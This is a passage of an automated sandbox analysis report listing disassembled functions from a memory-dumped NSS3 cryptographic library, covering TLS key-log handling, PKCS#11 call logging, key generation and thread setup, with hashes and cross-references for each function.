fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C7B6EFC
PR_NewLock.NSS3 ref: 6C7B6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7B6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C7B6BF7), ref: 6C7B6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C7B6BF7), ref: 6C7B6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C7B6BF7), ref: 6C7B6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C7B6BF7), ref: 6C7B6FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6C7B6FF8
SSLFORCELOCKS, xrefs: 6C7B6F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C7B6FDB
SSLKEYLOGFILE, xrefs: 6C7B6EB1
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C7B6F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C7B6EF7

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 2e8c4e82dc51f64179411bd8738c661c4ba27db3da0e4b5394df275445e1fff5
Instruction ID: b7939469ec2f3c88db155582028746e1025481aa9ac87d95bea61723ca11d888
Opcode Fuzzy Hash: 2e8c4e82dc51f64179411bd8738c661c4ba27db3da0e4b5394df275445e1fff5
Instruction Fuzzy Hash: 5EA1FA73A579908AE7204E3CCE0178836A1AF9332EF588775E931D7ED5DB79A440C291

Function 6C756D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C756D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C756DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C756DC3

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C756DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C756DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C756E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C756E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C756E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C756EB9

Strings

pData = 0x%p, xrefs: 6C756DF5
pulDigestLen = 0x%p, xrefs: 6C756E42
pDigest = 0x%p, xrefs: 6C756E27
C_Digest, xrefs: 6C756D81
(CK_INVALID_HANDLE), xrefs: 6C756DBC
*pulDigestLen = 0x%x, xrefs: 6C756EB4
ulDataLen = %d, xrefs: 6C756E0E
hSession = 0x%x, xrefs: 6C756D9E, 6C756DAE

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 537a93fd21a4e878d5e33e1ab0b63ddebd6fe8240f5946c8f588db7cd9bb9f01
Instruction ID: 406fd7ca381945e8e348fed29f19ce19d4aa2387ace60b9c895960553f42372a
Opcode Fuzzy Hash: 537a93fd21a4e878d5e33e1ab0b63ddebd6fe8240f5946c8f588db7cd9bb9f01
Instruction Fuzzy Hash: CD41E635602118AFDB309F58DF8DA9A3BB5AB4330DF459434E80897B12DF34A968CBD1

Function 6C758820 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6C758846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C758874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C758883

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C758899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C7588BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C7588D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C7588EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C758907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C758979

Strings

C_DecryptVerifyUpdate, xrefs: 6C758841
pEncryptedPart = 0x%p, xrefs: 6C7588B5
pPart = 0x%p, xrefs: 6C7588E7
pulPartLen = 0x%p, xrefs: 6C758902
*pulPartLen = 0x%x, xrefs: 6C758974
(CK_INVALID_HANDLE), xrefs: 6C75887C
ulEncryptedPartLen = %d, xrefs: 6C7588CE
hSession = 0x%x, xrefs: 6C75885E, 6C75886E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate
API String ID: 1003633598-2764998763
Opcode ID: 16cc01b8b9d4a5b39deb0c4ae569cf5723f15cb418a50831d805e1dd10b55249
Instruction ID: 2789a784cbae56f58064f975ce5bb9e0821abf76f02fbeea52640563db2a0352
Opcode Fuzzy Hash: 16cc01b8b9d4a5b39deb0c4ae569cf5723f15cb418a50831d805e1dd10b55249
Instruction Fuzzy Hash: 2441F675652148AFDB308B58DF8CA5E3BB5EB4331CF499435E80857B12DB34A928CBD2

Function 6C756960 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptUpdate), ref: 6C756986
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7569B4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7569C3

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7569D9
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C7569FA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C756A13
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C756A2C
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C756A47
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C756AB9

Strings

pEncryptedPart = 0x%p, xrefs: 6C7569F5
pPart = 0x%p, xrefs: 6C756A27
pulPartLen = 0x%p, xrefs: 6C756A42
C_DecryptUpdate, xrefs: 6C756981
*pulPartLen = 0x%x, xrefs: 6C756AB4
(CK_INVALID_HANDLE), xrefs: 6C7569BC
ulEncryptedPartLen = %d, xrefs: 6C756A0E
hSession = 0x%x, xrefs: 6C75699E, 6C7569AE

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptUpdate
API String ID: 1003633598-2105479268
Opcode ID: 57c6570b505bee63298a7f1d6849c36ac38974dab85a3dd18f6f9287d42b756d
Instruction ID: 6c5b771b3a633c72dd7d2da3f18d5c13477f00d3286fad981a2f6fa2f3d52068
Opcode Fuzzy Hash: 57c6570b505bee63298a7f1d6849c36ac38974dab85a3dd18f6f9287d42b756d
Instruction Fuzzy Hash: A041D579642114ABDB308B58CF8CA9A3BB5AB4330DF459434E80897B12DB34AD68CBD1

Function 6C759C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C759C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C759C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C759CA3

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C759CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C759CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C759CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C759D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C759D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C759D42

Strings

C_LoginUser, xrefs: 6C759C61
ulUsernameLen = %d, xrefs: 6C759D3D
userType = 0x%x, xrefs: 6C759CD5
pPin = 0x%p, xrefs: 6C759CF0
(CK_INVALID_HANDLE), xrefs: 6C759C9C
ulPinLen = %d, xrefs: 6C759D0B
hSession = 0x%x, xrefs: 6C759C7E, 6C759C8E
pUsername = 0x%p, xrefs: 6C759D24

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: 10f075443dfa52d67f0db311594c271eed6a8298f853b05b053856ce69618880
Instruction ID: db3e33ba8da89c6d9e318bc583f7c8a04e413a6d7e035251822fb72f18164c95
Opcode Fuzzy Hash: 10f075443dfa52d67f0db311594c271eed6a8298f853b05b053856ce69618880
Instruction Fuzzy Hash: 29411875602144AFDB208F58DF8DE9D3BB5AB5330DF858474E80857B12DB34A829DBD1

Function 6C78E8C0 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6C78E853,?,FFFFFFFF,?,?,6C78B0CC,?,6C78B4A0,?,00000000), ref: 6C78E8D9

Part of subcall function 6C780D30: calloc.MOZGLUE ref: 6C780D50
Part of subcall function 6C780D30: TlsGetValue.KERNEL32 ref: 6C780D6D

Part of subcall function 6C78C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C78DAE2,?), ref: 6C78C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6C78E972
PORT_ArenaMark_Util.NSS3(?), ref: 6C78E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C78EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C78EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C78EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C78EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6C78EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C78EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6C78EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6C78EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6C78EBEC
free.MOZGLUE(00000000), ref: 6C78EC58

Strings

Sxl, xrefs: 6C78E9CA, 6C78EAAB

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID: Sxl
API String ID: 759478663-3123275510
Opcode ID: edafb8b8be0b4e20bd6c460275c16734777e138b32efc748bbee9aa551c93b21
Instruction ID: 3ab62e7c28d3b453243167a229d955433441f8a0da59c07775e53793f8ecdfbd
Opcode Fuzzy Hash: edafb8b8be0b4e20bd6c460275c16734777e138b32efc748bbee9aa551c93b21
Instruction Fuzzy Hash: 55C196B5E022099FEB00CF69DA85BAA7BB4BF05718F140079EA1697B51E771E804CBD1

Function 6C7B28C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6C7B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7B5B56

TlsGetValue.KERNEL32 ref: 6C7B290A
EnterCriticalSection.KERNEL32(00000001), ref: 6C7B291E
TlsGetValue.KERNEL32 ref: 6C7B2937
EnterCriticalSection.KERNEL32(00000001), ref: 6C7B294B
PR_EnterMonitor.NSS3(?), ref: 6C7B2966
PR_EnterMonitor.NSS3(?), ref: 6C7B29AC
PR_ExitMonitor.NSS3(?), ref: 6C7B29D1
PR_EnterMonitor.NSS3(?), ref: 6C7B29F0
PR_EnterMonitor.NSS3(?), ref: 6C7B2A15
PR_EnterMonitor.NSS3(?), ref: 6C7B2A37
PR_ExitMonitor.NSS3(?), ref: 6C7B2A61
PR_ExitMonitor.NSS3(?), ref: 6C7B2A78
PR_ExitMonitor.NSS3(?), ref: 6C7B2A8F
PR_ExitMonitor.NSS3(?), ref: 6C7B2AA6

Part of subcall function 6C7E9440: TlsGetValue.KERNEL32 ref: 6C7E945B
Part of subcall function 6C7E9440: TlsGetValue.KERNEL32 ref: 6C7E9479
Part of subcall function 6C7E9440: EnterCriticalSection.KERNEL32 ref: 6C7E9495
Part of subcall function 6C7E9440: TlsGetValue.KERNEL32 ref: 6C7E94E4
Part of subcall function 6C7E9440: TlsGetValue.KERNEL32 ref: 6C7E9532
Part of subcall function 6C7E9440: LeaveCriticalSection.KERNEL32 ref: 6C7E955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6C7B2AF9
free.MOZGLUE(?), ref: 6C7B2B16
PR_Unlock.NSS3(?), ref: 6C7B2B6D
PR_Unlock.NSS3(?), ref: 6C7B2B80

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 264299d3d91262e669459daa7eca4027804e133a577a3b01754ae64965d51045
Instruction ID: 87e5ee4c23e7658f99e4c14bd77ec0d716ecbb30783f18283b9cbdef1fefcc8f
Opcode Fuzzy Hash: 264299d3d91262e669459daa7eca4027804e133a577a3b01754ae64965d51045
Instruction Fuzzy Hash: 0F81D2B2A017019BDB209F38ED4D7D7B6E4AF15308F044938E85AD7A11EB31E519CB92

Function 6C839C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C839C70
PR_NewLock.NSS3 ref: 6C839C85

Part of subcall function 6C7E98D0: calloc.MOZGLUE(00000001,00000084,6C710936,00000001,?,6C71102C), ref: 6C7E98E5

PR_NewCondVar.NSS3(00000000), ref: 6C839C96

Part of subcall function 6C70BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C7121BC), ref: 6C70BB8C

PR_NewLock.NSS3 ref: 6C839CA9

Part of subcall function 6C7E98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C7E9946
Part of subcall function 6C7E98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A16B7,00000000), ref: 6C7E994E
Part of subcall function 6C7E98D0: free.MOZGLUE(00000000), ref: 6C7E995E

PR_NewLock.NSS3 ref: 6C839CB9
PR_NewLock.NSS3 ref: 6C839CC9
PR_NewCondVar.NSS3(00000000), ref: 6C839CDA

Part of subcall function 6C70BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C70BBEB
Part of subcall function 6C70BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C70BBFB
Part of subcall function 6C70BB80: GetLastError.KERNEL32 ref: 6C70BC03
Part of subcall function 6C70BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C70BC19
Part of subcall function 6C70BB80: free.MOZGLUE(00000000), ref: 6C70BC22

PR_NewCondVar.NSS3(?), ref: 6C839CF0
PR_NewPollableEvent.NSS3 ref: 6C839D03

Part of subcall function 6C82F3B0: PR_CallOnce.NSS3(6C8814B0,6C82F510), ref: 6C82F3E6
Part of subcall function 6C82F3B0: PR_CreateIOLayerStub.NSS3(6C88006C), ref: 6C82F402
Part of subcall function 6C82F3B0: PR_Malloc.NSS3(00000004), ref: 6C82F416
Part of subcall function 6C82F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C82F42D
Part of subcall function 6C82F3B0: PR_SetSocketOption.NSS3(?), ref: 6C82F455
Part of subcall function 6C82F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C82F473

Part of subcall function 6C7E9890: TlsGetValue.KERNEL32(?,?,?,6C7E97EB), ref: 6C7E989E

EnterCriticalSection.KERNEL32(?), ref: 6C839D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C839DAF
_PR_CreateThread.NSS3(00000000,6C839EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C839D9F

Part of subcall function 6C70B3C0: TlsGetValue.KERNEL32 ref: 6C70B403
Part of subcall function 6C70B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C70B459

_PR_CreateThread.NSS3(00000000,6C83A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C839DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C839DFC
_PR_CreateThread.NSS3(00000000,6C83A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C839E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C839E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C839E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C839E89

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 4830a74c3720333b0169c65e42cc54aeefad6e12b94a6bbaf0497b2c0b4a28e2
Instruction ID: ac424be69bbd456d9a9384bf7e62f86511ad4feeac58a090ea2c8f54c801694f
Opcode Fuzzy Hash: 4830a74c3720333b0169c65e42cc54aeefad6e12b94a6bbaf0497b2c0b4a28e2
Instruction Fuzzy Hash: 4F614CB1A00716AFD725DF75D948AA7BBE8FF08208B045939E809C7B51EB70E514CBE1

Function 6C778E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C778E01,00000000,6C779060,6C880B64), ref: 6C778E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C778E01,00000000,6C779060,6C880B64), ref: 6C778E9E
PORT_ArenaAlloc_Util.NSS3(6C880B64,00000001,?,?,?,?,6C778E01,00000000,6C779060,6C880B64), ref: 6C778EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C778E01,00000000,6C779060,6C880B64), ref: 6C778EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C778E01,00000000,6C779060,6C880B64), ref: 6C778ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C778E01,00000000,6C779060,6C880B64), ref: 6C778EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C778E01), ref: 6C778EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C880B64,6C880B64), ref: 6C778F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C778F3F

Part of subcall function 6C77A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C77A421,00000000,00000000,6C779826), ref: 6C77A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C77904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C778E76

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 92830d2f0a4d278edf9dc8c9bf745a2397814ffe499cd4c7a312aa832eb2fd11
Instruction ID: 2bd54a3e8b7abbc3b0a1d3cb40e87889ca70920d3d4d754ac83bc650cc96015c
Opcode Fuzzy Hash: 92830d2f0a4d278edf9dc8c9bf745a2397814ffe499cd4c7a312aa832eb2fd11
Instruction Fuzzy Hash: 6B61A1B1E0111AABDF20CF55CE48AABB7B5EF95358F144538EC18A7740E731A915CBB0

Function 6C728E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C728E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C728E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C728EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C8518D0,?), ref: 6C728F03
PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C728F19
PL_FreeArenaPool.NSS3(?), ref: 6C728F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C728F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C728F65
PL_FinishArenaPool.NSS3(?), ref: 6C728FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C728FFE
PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C729012
PL_FreeArenaPool.NSS3(?), ref: 6C729024
PL_FinishArenaPool.NSS3(?), ref: 6C72902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C72903E

Strings

